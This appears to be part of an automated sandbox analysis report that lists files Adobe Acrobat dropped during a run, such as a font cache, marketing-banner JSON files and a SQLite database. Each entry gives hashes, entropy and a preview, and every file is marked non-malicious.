Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.370635529418458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJM3g98kUwPeUkwRe9:YvXKXsT1sQzUTbdlfGMbLUkee9
MD5:	1CF49A64E51B27D7EE787F6CFFC8ABFD
SHA1:	BF9E1572728F96F0625E29BA9E6B8B626C2175A7
SHA-256:	CC3174D91B2775716BFF47FBBB936A9E19A6405EC2FEA02B2E8B5D5DDB124F5B
SHA-512:	DBB3FE4BDBC631674C08F3BF727AF6004E314EEEFE8874A9B8D36F7D5EE0AFED0973FAC32B4280C6F7B3F47DCAF0BECAC76DA498A33C8A1CE0E725271F397525
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306314216345031
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfBoTfXpnrPeUkwRe9:YvXKXsT1sQzUTbdlfGWTfXcUkee9
MD5:	3F1E64FD8F660C6DF4901239ECDB7BE1
SHA1:	538779D83DEEB4E213056CB8158AB4452311BE20
SHA-256:	E883BA0BEB45104A958CA919A60D6DF095C3FCEC7733E6746D654298DEACCBC9
SHA-512:	67939C39110FFAF773C402E09C0742060EE10E462095BA2EE3D0036654EEEF730CC20415BAAB530DA05B20218DAFE01A4AA76BA25201DA573DDDE604CF3FF85D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285135291390629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfBD2G6UpnrPeUkwRe9:YvXKXsT1sQzUTbdlfGR22cUkee9
MD5:	5661C6B02F6E4B055FF7AEE9FC6A8B03
SHA1:	A0B26031E7A16B36817F9D9FB5CB0681432E0404
SHA-256:	1FC8080A06A384AAEAF8FBD64604A20D9474E45682BEB14CAA9B5D23185ACEAE
SHA-512:	D29574BEAF760C26B928AFA7988D9BFA46D3B6EF1BFC920D9185A488207548FE7CF3862333FE6C5101E1ACF1D24A195704655C0BA3AB054FABEAA4B9AE512327
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.345169402223232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfPmwrPeUkwRe9:YvXKXsT1sQzUTbdlfGH56Ukee9
MD5:	AE834EB64FC05A9CBCF5E7244A956059
SHA1:	038BE0D01A2FB620F4C9420D63D81BDB6C1D718E
SHA-256:	AD3AFAEA40D9E738E8C78A188B206FD01C557514EB4800F408AB70DAB04F5B0E
SHA-512:	0853311EE26886D75EB288EA16CEADA9DE8C71F8CA6F37092A31A08F60920DB7347F0F0AAE0D336E85E8F0CF21E9CCAA670A3A3D8D624363FD8F5AC632052FA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6850616501923605
Encrypted:	false
SSDEEP:	24:Yv6XQsQzUXDEpLgE9cQx8LennAvzBvkn0RCmK8czOCCSu:YvTHzwYhgy6SAFv5Ah8cv/u
MD5:	65E62BF8320CBAD06D542053A48F4E01
SHA1:	001AD391CCB22FBBAD08DFAB829590700A3A1225
SHA-256:	423F203451AA70A61E1F073340A23C57B2E8B31A3EA733ADD7FA49EF32410974
SHA-512:	D798FDED6B0E27DC0174BBB007A91FE773EFD003CE6132E55091E56B687C08A9FF539FEDB77D1AE5868EC3636353E596C29644698B6C6437B6BB745510406B8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283925766963731
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJf8dPeUkwRe9:YvXKXsT1sQzUTbdlfGU8Ukee9
MD5:	11E3E882B80ADF2358EE9CCE0AEA006E
SHA1:	1FED1EF4378C75754CAB3BD4541BAC385CDD8032
SHA-256:	C2C6586076694557B51BCB1DE5365923DE00737A093165721018C8DCD22C4613
SHA-512:	8944B68C05CB532C2C92FDE3AB25AA1CEF3AE8A76C2FEEBAEBCFE46C255D2A221CB21191BB38F19662AB379B930F82EF55560697A0F6D722258D2CACA18C4C8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2858299143751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfQ1rPeUkwRe9:YvXKXsT1sQzUTbdlfGY16Ukee9
MD5:	6C3F0BF2ACF5A98157006B2C2DE2F836
SHA1:	403B621B6B7E833037E7EFFFF793997431383E7C
SHA-256:	3A489C15925AF7D6A86D925B234DF620BB229FBAF2E0C3D45FAF856E39061FDA
SHA-512:	B820630C42A51D60B63E2734C03CA31AF0B9BBF9AFCC7F289D2BAE9D41D91D024F44655B9F9C3D5E67AC570C42E7B3CD8E77E58220F4BFD6DF4D2653B26BF85A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2956306574203165
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfFldPeUkwRe9:YvXKXsT1sQzUTbdlfGz8Ukee9
MD5:	870E77987D75750319698072871A1A33
SHA1:	8D640EAC075F6D80D7412765E44C44E890A5E2C0
SHA-256:	6F02AAB33F0F910834BBD6E801D84080CEA9BDD4B130E2F1A5A2B1DFA24D7897
SHA-512:	C2E06DBEC2D22F3F79D253CA6D6ECF8C16887C37D6F729D79C5770F89B95954CCFFAFD2DC26778B7FC342D9BE8F37CE209BCD3E579159E385C65BC2823B3F743
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310706619018439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfzdPeUkwRe9:YvXKXsT1sQzUTbdlfGb8Ukee9
MD5:	D689E2317B1DE92556E992869F1BF6B7
SHA1:	781093E4B4A157FB6C1E499D7AD5AA5A42891C28
SHA-256:	EE54C9F628F8B184C4DF77D8844BFC535428296687520286FC4CDC78FE9CA33C
SHA-512:	1EFF6EA803C3EC3DB2CF13DE3745E9576D6FAC2BE3B33046C54312FB993583134FC9E3A2C68DE27DCF873B49B8356C113A5B7F89A9CCDC21C28A12CA443B0912
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290564608607924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfYdPeUkwRe9:YvXKXsT1sQzUTbdlfGg8Ukee9
MD5:	8A69A79C8EF496224C62C00259DDB747
SHA1:	6C34E213DBC37CF1BF31167958A98FD16CD7BBA4
SHA-256:	0317A8F308C4409EA3C71AEBA3F59513D7DD5EE8A82036431A9430E27F5B4B8C
SHA-512:	D4939D9CB5ED5E16B039494D7FDCEB3537AF7FA472625D996F4B59708E1DD92C967E937486F04AB5CEE37317DA7BC6BD9FBDEDA15215137A57D4DD7B534CAC45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277030219005623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJf+dPeUkwRe9:YvXKXsT1sQzUTbdlfG28Ukee9
MD5:	24FF49AA2C88C8A11452359CD9A6F022
SHA1:	4128F75F951F0776D09893DFBDCEE8D7A5C363CA
SHA-256:	61BC67E9111E308C7160A6D938876DC12666666BC472E4700F3B924BA831CCDC
SHA-512:	9BD2E2B6A8E5646E31274D97836CDB65B0273FE0642BC7BC4F78BB7A384B1D7D6C881EC1D5C59AE17C2E6BAB999EE51BD4849C23A10BCB78293ED0816466E483
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274176554332592
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfbPtdPeUkwRe9:YvXKXsT1sQzUTbdlfGDV8Ukee9
MD5:	9F8C6CFC5DFEC6B2E55DDF532FF6ADB2
SHA1:	B4915C4D127E45C2C6E869F9AC9BEC8558AF2B7E
SHA-256:	D3F95E9E6076C3DE1A13C1813DBBA67A8FDA3F5CABEB16A5BE2D350749D65FCC
SHA-512:	CD0E30B9555094FEB70F46DCFAA150BCFC4468317A2FBE41624F50768C328B66262700A7ED8ABD89B1C5BF4D0DD0B11D25054A50250835DFA81E38D34A00ADBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.276777524648608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJf21rPeUkwRe9:YvXKXsT1sQzUTbdlfG+16Ukee9
MD5:	99CE521FB6120C4F5918051BBDF98730
SHA1:	1C27C108DA4D6C93AC0E94E9F01137B54BC61936
SHA-256:	D96C611040FA0A9656C4F5B9AA405DA76E35978B38AEB7E5398B8A0083A208BB
SHA-512:	22109242AFC76C9ACA881F86929E4DB09CE2DA1AAF4C787CC6A8CC56C4BBD0ECD81AEE8EAD0A24E67196EBA1C58D2B4EA01DB4267E64628DC8C955758CBB4E51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65823820209004
Encrypted:	false
SSDEEP:	24:Yv6XQsQzUXDgamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSu:YvTHzwKBgkDMUJUAh8cvMu
MD5:	7F312311EE7B85D7B409F8E5B85B00C7
SHA1:	3E8DA1059B366EC24500DD5358FADE7B06AB1BFF
SHA-256:	9EEBF5C4CD319D980763FF9D2AF7034418D7D8FDD96B88A0DD710F7DBF8F3B94
SHA-512:	6532E08BD64F08CBDC10DC0D98E799C7724971C1C60F004B222E2B488EDAFD6018DEA978AF880004D22FE2300C341357B49C0FC236211B103BC7611B1CE3C17C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.252466679492238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJfshHHrPeUkwRe9:YvXKXsT1sQzUTbdlfGUUUkee9
MD5:	C47CB673EB5D196C5628C8E841BA9F9E
SHA1:	B3906B353DB21A58F638CE6BAFF0FB98C6CF9B38
SHA-256:	3271828FF3763F74F63349B0FAB04F7E78A18F4E632E98203D637EE2E0A2734C
SHA-512:	9CDFA56C2A64BEDFC5A773FA4CE7C83813802C797DA7FB6538BABEAE7ADA75DC51FD289C3FFC4D992A3D2DF8C07BFCE6EF867B2E02A3E6D5C38AEE7D372D8E08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264947913893178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgR3T1sP9BUU2UXjb24kF0YqsoAvJTqgFCrPeUkwRe9:YvXKXsT1sQzUTbdlfGTq16Ukee9
MD5:	8ED25B13C0C16E0C44CC0D1B5802FAA7
SHA1:	1A7E55E53F6EF2535BEE53697B55B7CDE310C634
SHA-256:	E02ABC51356C4B0308FB0A6FBA615191C33A8B9B9D13ED91421AAB39E69AF14F
SHA-512:	73E3D05FDD6101A48AC0BB7DBBE78C36BAD498F56118E64FB30A9397B45B05429C70F7713D4CD453EB343D4EF5692F607029678907A7785B4D4B3F5E121AFC97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fc4e7646-d04e-46d3-b8d0-0f8eb97c2513","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736735176734,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.125732307602594
Encrypted:	false
SSDEEP:	24:YWOoaGGaym8YMdtCkGxDauhol2sjl2jj0S75xO912BJ2LSqCy4nLMkvIje8uHOG:YWfRACzxQDl2vf3O91GJIqnLMC
MD5:	83A7E36A6B6EE5BCA82A6710A5E2900D
SHA1:	EF968A71CB99ED40E628B3E7357C0A4DD9051F8A
SHA-256:	2C2BF8F5607385C888BC55C1467F83536B5588DBE79F8F409E9698C96F5AFA66
SHA-512:	D5A1FD69F27CBFADB3A3A50A5E3A0ED2F17D2F83A57F4C4F2F35B168642FDFC11ED7A482ED5FB3CCA506B2A8056B4A1109BE7037D92A6E2DC698544148E48411
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"465acc9ff7a6dbdf9b1f76710b1e591f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556990000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"22736dc71a6edcb63f501ed6f71e532a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556990000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cc2d16ecfdeebfb8700800e808bf36b3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556990000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"effa02781dce18104a8ae591e78c5833","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556990000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f5eb590d50056af2c11b1a0342055a1b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556990000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"68184fddd6da1ac9d7bf512646ce2398","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3193703374205892
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YuK/+EXSqXi:TGufl2GL7msUKB0M0+Tb608Y0rz
MD5:	542AD35935AA4F0D116A7EEA1318182A
SHA1:	0EE27F0126DB7B859A61BFB63C4A5A69116E1C15
SHA-256:	0B396BA3FAD733023FA559433C17DAFA5210CB131C65C9D3C8E066DD66E917A9
